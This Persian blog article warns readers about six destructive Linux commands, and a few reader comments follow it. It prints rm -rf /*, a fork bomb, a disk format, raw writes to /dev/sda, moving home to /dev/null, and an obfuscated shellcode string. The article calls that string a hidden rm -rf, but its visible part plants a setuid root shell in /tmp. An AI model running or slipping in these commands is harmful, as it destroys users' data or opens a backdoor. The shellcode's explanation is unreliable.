۶ دستور خطرناکی که نباید در لینوکس از آن استفاده کرد
امروز قصد داریم پیرامون دستورهای خطرناکی در لینوکس صحبت کنیم که اول از همه توصیه میکنیم هیچ یک از دستورها را بر روی سیستم شخصی خود یا دوستانتان امتحان نکنید چرا که ممکن است منجر به از بین رفتن فایلها و یا سیستم عامل شما شود!
پیشتر در سری مقالات i3 راجع به اهمیت بسیار زیاد محیطهای خط فرمان و تواناییهای بیشتر آن نسبت به محیط گرافیکی صحبت کردیم. اکنون باید این را هم در نظر داشته باشیم که اگر ناآگاهانه از دستورها در ترمینال استفاده شود (برای مثال به دستوری را بدون توجه به مفهموم آن مستقیم از یک سایت copy کنید و در ترمینال اجرا کنید) ممکن است آسیب جدی به سیستم وارد شود. در این مقاله سعی میکنیم تا برخی از دستورات خطرناکی که در گنو/لینوکس وجود دارد را بهتر بشناسیم.
۱. پاک کردن همه چی!
sudo rm -rf /*
دستور بالا تمامی پوشهها و فایلهای در Hard شما و حافظههای جانبی که به دستگاه متصل میباشند را پاک میکند. این دستور از مسیر ریشه (root) شروع کرده و به ترتیب به مسیرهای زیرین رفته و تمامی فایلها را حذف میکند. “rm” برای پاک کردن فایل ها استفاده میشود و پارامتر -rf نیز دستور را به صورت بازگشتی برای مسیرهای زیر مجموعه مسیر اصلی فرا میخواند. “/” نیز میگوید پاک کردن را از مسیر ریشه کن! که با بازگشتی بودن دستور منجر به پاک شدن کل سیستم میشود.
۲.صورت دیگری از rm -rf
یکی از کدهای مشهور در دنیای گیکها دستور زیر است:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
دستور بالا نسخه hex دستور rm -rf میباشد. این دستور دقیقا همان دستور قبل است و فقط قیافه عجیب تری پیدا کرده تا کاربر را فریب دهد و با اجرای آن کل سیستم شما پاک میشود.
۳. Fork Bomb
دستور معروف Fork Bomb مجموعهای از چند دستور است که در نهایت با پر کردن منابع سیستم منجر به کرش کردن سیستم میشود.
:(){ :|: & };:
Fork Bomb پردازههای در مدت کوتاهی پردازههای زیادی را در لینوکس Fork میکند و این کار را تا بینهایت انجام میدهد که سرانجام سیستم را کاملا درگیر میکند و سیستم غیر قابل استفاده میشود.
۴. فرمت کردن Hard
sudo mkfs.ext4 /dev/sda1
دستور بالا یک فایل سیستم با فرمت ext4 را در مسیر /dev/sda1 که محل قراری پارتیشن اول است میسازد. در واقع یکی از پارتیشن های هارد را فرمت میکند و اگر حواستان نباشد ممکن است اطلاعات زیادی را از دست بدهید.
۵. ریختن خروجی دستورات بر روی دیسک هارد
مورد دیگر استفاده از کاراکتر “>” است، باید مراقب باشید تا خروجی دستوری را مستقیم در Hard خود نریزید. به نمونه زیر نگاه کنید:
command > /dev/sda #Writes Directly to a Hard Drive
نوشتن مستقیم خروجی دستورات بر روی Hard Disk موجب آسیبهای جدی به فایل سیستم میشود.
۶.انتقال پوشه Home به dev Null
sudo mv ~ /dev/null
میدانیم علامت tilda (~) مسیر پوشه Home را ذخیره میکند. با اجرا کردن دستور بالا تمامی پوشه Home به dev/null انتقال پیدا میکند، در سیستم های پایه یونیکس /dev/null سخت افزاری برای ذخیره سازی است که وجود خارجی یا به سیاه چاله معروف است! و با انتقال فایل به این مسیر تمامی اطلاعات (به اصطلاح) به ناکجاآباد میرود و پاک میشود.
در این مقاله سعی شده است تا برخی از دستورات خطرناکی که در گنو/لینوکس وجود دارد را بهتر شناخته و کاکرد آنها را بهتر درک کنیم.
مطالب زیر را حتما مطالعه کنید
آشنایی با مفهوم Load Balancing
۱۰ دستور مهم و کاربردی در لینوکس
توزیعهای مختلف لینوکس بر روی ویندوز ۱۰
نحوهی اجرای دستورات لینوکس در برنامههای پایتون
آشنایی با مفاهیم پایهای شبکه در لینوکس
نصب LAMP در اوبونتو
5 Comments
Join the discussion and tell us your opinion.
دیدگاهتان را بنویسید لغو پاسخ
برای نوشتن دیدگاه باید وارد بشوید.
مقاله بسیار مفیدی بود
جذاب بود
چوخ نوکرم آقا مهدی
دمت گرم
ریختن خروجی دستورات بر روی دیسک هارد
این دقیقا چه مشکلی ایجاد میکنه؟نفهمیدم
منظور ریختن مستقیم دستورات بر روی Hard drive میباشد برای مثال اگر در پارتیشن اول ریخته شود ممکن است partition table را به کلی از بین ببرد که بازیابی آن در صورت ممکن، بسیار دشوار است.
میدانید که برای جلوگیری مشکلات معمولا خروجی دستورات را بروی یک “فایل” در یک مسیری از حافظه میریزند. نه اینکه به صورت مستقیم روی مسیر ریخته شود.